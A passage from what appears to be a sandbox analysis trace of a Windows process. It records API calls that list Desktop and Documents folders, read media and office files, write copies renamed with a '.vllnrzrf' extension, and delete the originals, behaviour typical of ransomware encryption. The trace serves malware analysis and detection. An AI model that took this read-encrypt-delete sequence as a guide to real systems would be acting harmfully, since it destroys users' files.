(hFile=0x43c) returned 0x1 [0093.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.564] GetFileType (hFile=0x43c) returned 0x1 [0093.564] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0xc819 [0093.564] ReadFile (in: hFile=0x43c, lpBuffer=0x2281638, nNumberOfBytesToRead=0xc819, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x2281638*, lpNumberOfBytesRead=0x1ce8e458*=0xc819, lpOverlapped=0x0) returned 1 [0093.566] CloseHandle (hObject=0x43c) returned 1 [0093.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi.vllnrzrf", lpFilePart=0x0) returned 0x44 [0093.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0093.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\_prz.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0093.629] GetFileType (hFile=0x43c) returned 0x1 [0093.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0093.629] GetFileType (hFile=0x43c) returned 0x1 [0093.630] WriteFile (in: hFile=0x43c, lpBuffer=0x22c7d18*, nNumberOfBytesToWrite=0xca19, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x22c7d18*, lpNumberOfBytesWritten=0x1ce8e4b8*=0xca19, lpOverlapped=0x0) returned 1 [0093.634] CloseHandle (hObject=0x43c) returned 1 [0093.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", lpFilePart=0x0) returned 0x3b [0093.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", nBufferLength=0x105, lpBuffer=0x1ce8e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi", lpFilePart=0x0) returned 0x3b [0093.638] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\_pRz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\_prz.avi")) returned 1 [0093.640] CoUninitialize () Thread: id = 59 os_tid = 0xaf4 [0093.666] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0093.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1cf0e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0093.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf0e740) returned 1 [0093.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", nBufferLength=0x105, lpBuffer=0x1cf0e230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m", lpFilePart=0x0) returned 0x33 [0093.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\", nBufferLength=0x105, lpBuffer=0x1cf0e1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\", lpFilePart=0x0) returned 0x34 [0093.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\*.*", lpFindFileData=0x1cf0e3e0 | out: lpFindFileData=0x1cf0e3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0093.668] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf0e430 | out: lpFindFileData=0x1cf0e430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.668] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf0e430 | out: lpFindFileData=0x1cf0e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41799e20, ftCreationTime.dwHighDateTime=0x1d5e7f9, ftLastAccessTime.dwLowDateTime=0xa3b3d7e0, ftLastAccessTime.dwHighDateTime=0x1d5e68c, ftLastWriteTime.dwLowDateTime=0xa3b3d7e0, ftLastWriteTime.dwHighDateTime=0x1d5e68c, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8r6 SzTkKE_06X-OWSj0.mp4", cAlternateFileName="8R6SZT~1.MP4")) returned 1 [0093.669] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf0e430 | out: lpFindFileData=0x1cf0e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe2b30, ftCreationTime.dwHighDateTime=0x1d5d982, ftLastAccessTime.dwLowDateTime=0x75426320, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x75426320, ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x13d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="qV0-WzSnNbpc5nYlem.mp3", cAlternateFileName="QV0-WZ~1.MP3")) returned 1 [0093.669] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf0e430 | out: lpFindFileData=0x1cf0e430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.669] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0093.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e690) returned 1 [0093.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e650) returned 1 [0093.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", lpFilePart=0x0) returned 0x4c [0093.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", lpFilePart=0x0) returned 0x4c [0093.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", lpFilePart=0x0) returned 0x4c [0093.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf0e630) returned 1 [0093.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\8r6 sztkke_06x-owsj0.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0093.671] GetFileType (hFile=0x438) returned 0x1 [0093.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e5a0) returned 1 [0093.671] GetFileType (hFile=0x438) returned 0x1 [0093.671] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1cf0e7c8 | out: lpFileSizeHigh=0x1cf0e7c8*=0x0) returned 0xcb0 [0093.671] ReadFile (in: hFile=0x438, lpBuffer=0x22d79d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cf0e6f8, lpOverlapped=0x0 | out: lpBuffer=0x22d79d0*, lpNumberOfBytesRead=0x1cf0e6f8*=0xcb0, lpOverlapped=0x0) returned 1 [0093.672] CloseHandle (hObject=0x438) returned 1 [0093.678] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4.vllnrzrf", lpFilePart=0x0) returned 0x55 [0093.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf0e630) returned 1 [0093.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\8r6 sztkke_06x-owsj0.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0093.748] GetFileType (hFile=0x438) returned 0x1 [0093.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e5a0) returned 1 [0093.748] GetFileType (hFile=0x438) returned 0x1 [0093.749] WriteFile (in: hFile=0x438, lpBuffer=0x22e5270*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1cf0e608, lpOverlapped=0x0 | out: lpBuffer=0x22e5270*, lpNumberOfBytesWritten=0x1cf0e608*=0xeb0, lpOverlapped=0x0) returned 1 [0093.750] CloseHandle (hObject=0x438) returned 1 [0093.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", lpFilePart=0x0) returned 0x4c [0093.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", nBufferLength=0x105, lpBuffer=0x1cf0e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4", lpFilePart=0x0) returned 0x4c [0093.757] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\8r6 SzTkKE_06X-OWSj0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\8r6 sztkke_06x-owsj0.mp4")) returned 1 [0093.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", lpFilePart=0x0) returned 0x4a [0093.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", lpFilePart=0x0) returned 0x4a [0093.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", lpFilePart=0x0) returned 0x4a [0093.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf0e630) returned 1 [0093.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\qv0-wzsnnbpc5nylem.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0093.761] GetFileType (hFile=0x438) returned 0x1 [0093.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e5a0) returned 1 [0093.761] GetFileType (hFile=0x438) returned 0x1 [0093.761] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1cf0e7c8 | out: lpFileSizeHigh=0x1cf0e7c8*=0x0) returned 0x13d64 [0093.761] ReadFile (in: hFile=0x438, lpBuffer=0x22e6d90, nNumberOfBytesToRead=0x13d64, lpNumberOfBytesRead=0x1cf0e6f8, lpOverlapped=0x0 | out: lpBuffer=0x22e6d90*, lpNumberOfBytesRead=0x1cf0e6f8*=0x13d64, lpOverlapped=0x0) returned 1 [0093.764] CloseHandle (hObject=0x438) returned 1 [0093.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3.vllnrzrf", lpFilePart=0x0) returned 0x53 [0093.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf0e630) returned 1 [0093.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\qv0-wzsnnbpc5nylem.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0093.788] GetFileType (hFile=0x438) returned 0x1 [0093.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf0e5a0) returned 1 [0093.789] GetFileType (hFile=0x438) returned 0x1 [0093.789] WriteFile (in: hFile=0x438, lpBuffer=0x2354ac0*, nNumberOfBytesToWrite=0x13f64, lpNumberOfBytesWritten=0x1cf0e758, lpOverlapped=0x0 | out: lpBuffer=0x2354ac0*, lpNumberOfBytesWritten=0x1cf0e758*=0x13f64, lpOverlapped=0x0) returned 1 [0093.792] CloseHandle (hObject=0x438) returned 1 [0093.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", nBufferLength=0x105, lpBuffer=0x1cf0e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", lpFilePart=0x0) returned 0x4a [0093.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", nBufferLength=0x105, lpBuffer=0x1cf0e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3", lpFilePart=0x0) returned 0x4a [0093.798] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\qV0-WzSnNbpc5nYlem.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\qv0-wzsnnbpc5nylem.mp3")) returned 1 [0093.800] CoUninitialize () Thread: id = 60 os_tid = 0xaec [0093.816] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0093.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1cf8dde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0093.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e240) returned 1 [0093.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x1cf8dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0093.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x1cf8dcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28 [0093.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x1cf8dee0 | out: lpFindFileData=0x1cf8dee0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0093.818] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.818] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70e92b0, ftCreationTime.dwHighDateTime=0x1d57ae6, ftLastAccessTime.dwLowDateTime=0x5cac3620, ftLastAccessTime.dwHighDateTime=0x1d5cdf1, ftLastWriteTime.dwLowDateTime=0x5cac3620, ftLastWriteTime.dwHighDateTime=0x1d5cdf1, nFileSizeHigh=0x0, nFileSizeLow=0x570f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Fysj-xfy.docx", cAlternateFileName="2FYSJ-~1.DOC")) returned 1 [0093.818] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44640a0, ftCreationTime.dwHighDateTime=0x1d5cd48, ftLastAccessTime.dwLowDateTime=0xff511f40, ftLastAccessTime.dwHighDateTime=0x1d5bf90, ftLastWriteTime.dwLowDateTime=0xff511f40, ftLastWriteTime.dwHighDateTime=0x1d5bf90, nFileSizeHigh=0x0, nFileSizeLow=0xd4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="8GDukY.xlsx", cAlternateFileName="8GDUKY~1.XLS")) returned 1 [0093.818] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b143ee0, ftCreationTime.dwHighDateTime=0x1d5aa40, ftLastAccessTime.dwLowDateTime=0xdc1e1680, ftLastAccessTime.dwHighDateTime=0x1d57d51, ftLastWriteTime.dwLowDateTime=0xdc1e1680, ftLastWriteTime.dwHighDateTime=0x1d57d51, nFileSizeHigh=0x0, nFileSizeLow=0x184b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="A-AqEZEB7qI3E.docx", cAlternateFileName="A-AQEZ~1.DOC")) returned 1 [0093.819] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ax3gN", cAlternateFileName="")) returned 1 [0093.819] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee5580, ftCreationTime.dwHighDateTime=0x1d58362, ftLastAccessTime.dwLowDateTime=0x4d723de0, ftLastAccessTime.dwHighDateTime=0x1d5c409, ftLastWriteTime.dwLowDateTime=0x4d723de0, ftLastWriteTime.dwHighDateTime=0x1d5c409, nFileSizeHigh=0x0, nFileSizeLow=0x15f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPRCY1SvE.docx", cAlternateFileName="CPRCY1~1.DOC")) returned 1 [0093.819] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.819] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68276d0, ftCreationTime.dwHighDateTime=0x1d57a59, ftLastAccessTime.dwLowDateTime=0x352c19b0, ftLastAccessTime.dwHighDateTime=0x1d5d609, ftLastWriteTime.dwLowDateTime=0x352c19b0, ftLastWriteTime.dwHighDateTime=0x1d5d609, nFileSizeHigh=0x0, nFileSizeLow=0xc373, dwReserved0=0x0, dwReserved1=0x0, cFileName="gWwRL91loDF05.pptx", cAlternateFileName="GWWRL9~1.PPT")) returned 1 [0093.819] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5794a750, ftCreationTime.dwHighDateTime=0x1d5db0f, ftLastAccessTime.dwLowDateTime=0x2923c550, ftLastAccessTime.dwHighDateTime=0x1d5ded8, ftLastWriteTime.dwLowDateTime=0x2923c550, ftLastWriteTime.dwHighDateTime=0x1d5ded8, nFileSizeHigh=0x0, nFileSizeLow=0x2abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="haMKT.doc", cAlternateFileName="")) returned 1 [0093.820] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7362c00, ftCreationTime.dwHighDateTime=0x1d5ce43, ftLastAccessTime.dwLowDateTime=0x8ebd6b90, ftLastAccessTime.dwHighDateTime=0x1d5a103, ftLastWriteTime.dwLowDateTime=0x8ebd6b90, ftLastWriteTime.dwHighDateTime=0x1d5a103, nFileSizeHigh=0x0, nFileSizeLow=0x61cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="hylpv.xlsx", cAlternateFileName="HYLPV~1.XLS")) returned 1 [0093.820] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x275c9b50, ftCreationTime.dwHighDateTime=0x1d55cee, ftLastAccessTime.dwLowDateTime=0xb02a4d30, ftLastAccessTime.dwHighDateTime=0x1d57ecf, ftLastWriteTime.dwLowDateTime=0xb02a4d30, ftLastWriteTime.dwHighDateTime=0x1d57ecf, nFileSizeHigh=0x0, nFileSizeLow=0x17d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImpvjCeG6H.pptx", cAlternateFileName="IMPVJC~1.PPT")) returned 1 [0093.820] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2720d610, ftCreationTime.dwHighDateTime=0x1d5dfac, ftLastAccessTime.dwLowDateTime=0x4f89bb10, ftLastAccessTime.dwHighDateTime=0x1d5d874, ftLastWriteTime.dwLowDateTime=0x4f89bb10, ftLastWriteTime.dwHighDateTime=0x1d5d874, nFileSizeHigh=0x0, nFileSizeLow=0x6a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kx3ga8HpCwP1fTGA3O.ots", cAlternateFileName="KX3GA8~1.OTS")) returned 1 [0093.820] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8df30 | out: lpFindFileData=0x1cf8df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a87b600, ftCreationTime.dwHighDateTime=0x1d5c175, 